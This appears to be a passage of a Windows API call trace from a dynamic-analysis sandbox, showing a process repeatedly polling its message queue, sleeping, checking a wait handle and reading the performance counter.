[0131.389] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.390] Sleep (dwMilliseconds=0x64) [0131.405] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.405] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712622995) returned 1 [0131.405] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712623161) returned 1 [0131.405] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.406] Sleep (dwMilliseconds=0x64) [0131.424] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712687861) returned 1 [0131.424] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712688029) returned 1 [0131.424] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.425] Sleep (dwMilliseconds=0x64) [0131.455] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712794570) returned 1 [0131.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712794752) returned 1 [0131.456] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.457] Sleep (dwMilliseconds=0x64) [0131.467] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.467] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712834265) returned 1 [0131.467] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712834431) returned 1 [0131.467] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.468] Sleep (dwMilliseconds=0x64) [0131.495] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.495] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712930435) returned 1 [0131.495] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712930584) returned 1 [0131.495] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.496] Sleep (dwMilliseconds=0x64) [0131.499] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712946555) returned 1 [0131.500] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712946699) returned 1 [0131.500] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.501] Sleep (dwMilliseconds=0x64) [0131.514] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.514] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=712996709) returned 1 [0131.514] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=712996855) returned 1 [0131.515] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.515] Sleep (dwMilliseconds=0x64) [0131.529] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.529] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713047351) returned 1 [0131.529] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713047497) returned 1 [0131.530] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.530] Sleep (dwMilliseconds=0x64) [0131.545] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.545] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713100881) returned 1 [0131.545] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713101028) returned 1 [0131.545] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.546] Sleep (dwMilliseconds=0x64) [0131.560] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.560] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713153955) returned 1 [0131.560] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713154103) returned 1 [0131.561] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.561] Sleep (dwMilliseconds=0x64) [0131.577] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.577] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713211973) returned 1 [0131.577] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713212119) returned 1 [0131.578] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.578] Sleep (dwMilliseconds=0x64) [0131.591] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.592] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713260839) returned 1 [0131.592] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713261020) returned 1 [0131.592] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.593] Sleep (dwMilliseconds=0x64) [0131.607] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.607] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713314175) returned 1 [0131.607] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713314355) returned 1 [0131.608] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.608] Sleep (dwMilliseconds=0x64) [0131.623] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.623] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713369285) returned 1 [0131.623] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713369460) returned 1 [0131.624] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.624] Sleep (dwMilliseconds=0x64) [0131.639] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.640] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713425122) returned 1 [0131.640] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713425284) returned 1 [0131.640] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.641] Sleep (dwMilliseconds=0x64) [0131.656] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.656] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713479925) returned 1 [0131.656] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713480081) returned 1 [0131.656] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.657] Sleep (dwMilliseconds=0x64) [0131.669] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.670] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713527482) returned 1 [0131.670] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713527636) returned 1 [0131.670] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.671] Sleep (dwMilliseconds=0x64) [0131.685] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.685] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713580579) returned 1 [0131.685] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713580734) returned 1 [0131.686] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.686] Sleep (dwMilliseconds=0x64) [0131.703] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.703] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713641716) returned 1 [0131.703] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713641872) returned 1 [0131.703] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.704] Sleep (dwMilliseconds=0x64) [0131.718] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713693103) returned 1 [0131.718] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713693283) returned 1 [0131.719] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.719] Sleep (dwMilliseconds=0x64) [0131.733] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.733] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713744500) returned 1 [0131.733] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713744658) returned 1 [0131.734] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.734] Sleep (dwMilliseconds=0x64) [0131.747] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.747] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713793980) returned 1 [0131.748] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713794142) returned 1 [0131.748] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.749] Sleep (dwMilliseconds=0x64) [0131.763] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.764] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713848831) returned 1 [0131.764] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713848985) returned 1 [0131.764] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.765] Sleep (dwMilliseconds=0x64) [0131.779] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.779] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713900461) returned 1 [0131.779] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713900616) returned 1 [0131.779] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.780] Sleep (dwMilliseconds=0x64) [0131.794] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.794] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=713953923) returned 1 [0131.794] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=713954077) returned 1 [0131.795] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.795] Sleep (dwMilliseconds=0x64) [0131.810] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714007097) returned 1 [0131.810] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714007243) returned 1 [0131.810] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.811] Sleep (dwMilliseconds=0x64) [0131.825] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.826] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714060632) returned 1 [0131.826] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714060777) returned 1 [0131.826] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.826] Sleep (dwMilliseconds=0x64) [0131.841] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.842] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714115378) returned 1 [0131.842] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714115520) returned 1 [0131.842] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.842] Sleep (dwMilliseconds=0x64) [0131.857] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.857] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714167101) returned 1 [0131.857] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714167246) returned 1 [0131.857] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.858] Sleep (dwMilliseconds=0x64) [0131.872] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.872] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714220534) returned 1 [0131.872] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714220681) returned 1 [0131.873] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.873] Sleep (dwMilliseconds=0x64) [0131.888] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.888] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714274255) returned 1 [0131.888] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714274404) returned 1 [0131.889] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.889] Sleep (dwMilliseconds=0x64) [0131.903] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.903] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714327200) returned 1 [0131.904] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714327348) returned 1 [0131.904] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.904] Sleep (dwMilliseconds=0x64) [0131.919] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.919] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714380636) returned 1 [0131.919] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714380873) returned 1 [0131.920] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.920] Sleep (dwMilliseconds=0x64) [0131.935] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.935] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714433996) returned 1 [0131.935] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714434164) returned 1 [0131.935] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.936] Sleep (dwMilliseconds=0x64) [0131.951] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.951] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714489457) returned 1 [0131.951] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714489621) returned 1 [0131.952] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.952] Sleep (dwMilliseconds=0x64) [0131.966] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714540515) returned 1 [0131.966] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714540682) returned 1 [0131.966] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.967] Sleep (dwMilliseconds=0x64) [0131.981] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.982] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714593843) returned 1 [0131.982] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714594017) returned 1 [0131.982] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.983] Sleep (dwMilliseconds=0x64) [0131.997] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0131.997] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714647162) returned 1 [0131.997] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714647334) returned 1 [0131.998] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0131.998] Sleep (dwMilliseconds=0x64) [0132.013] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714701779) returned 1 [0132.013] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714701946) returned 1 [0132.014] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.014] Sleep (dwMilliseconds=0x64) [0132.028] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.028] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714754266) returned 1 [0132.028] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714754432) returned 1 [0132.029] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.030] Sleep (dwMilliseconds=0x64) [0132.044] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.044] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714807110) returned 1 [0132.044] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714807294) returned 1 [0132.045] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.045] Sleep (dwMilliseconds=0x64) [0132.060] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.060] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714863092) returned 1 [0132.060] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714863269) returned 1 [0132.061] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.061] Sleep (dwMilliseconds=0x64) [0132.076] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.076] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=714915670) returned 1 [0132.076] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=714915847) returned 1 [0132.076] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.077] Sleep (dwMilliseconds=0x64) [0132.129] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.129] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715098579) returned 1 [0132.129] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715098753) returned 1 [0132.130] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.130] Sleep (dwMilliseconds=0x64) [0132.138] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.138] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715127452) returned 1 [0132.138] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715127627) returned 1 [0132.138] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.139] Sleep (dwMilliseconds=0x64) [0132.153] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.153] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715180329) returned 1 [0132.153] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715180504) returned 1 [0132.154] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.154] Sleep (dwMilliseconds=0x64) [0132.169] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715236180) returned 1 [0132.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715236356) returned 1 [0132.170] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.171] Sleep (dwMilliseconds=0x64) [0132.187] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715296031) returned 1 [0132.187] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715296195) returned 1 [0132.188] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.188] Sleep (dwMilliseconds=0x64) [0132.200] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.200] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715341005) returned 1 [0132.200] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715341200) returned 1 [0132.201] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0132.201] Sleep (dwMilliseconds=0x64) [0132.215] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0132.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=715393895) returned 1 [0132.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=715394094) returned 1 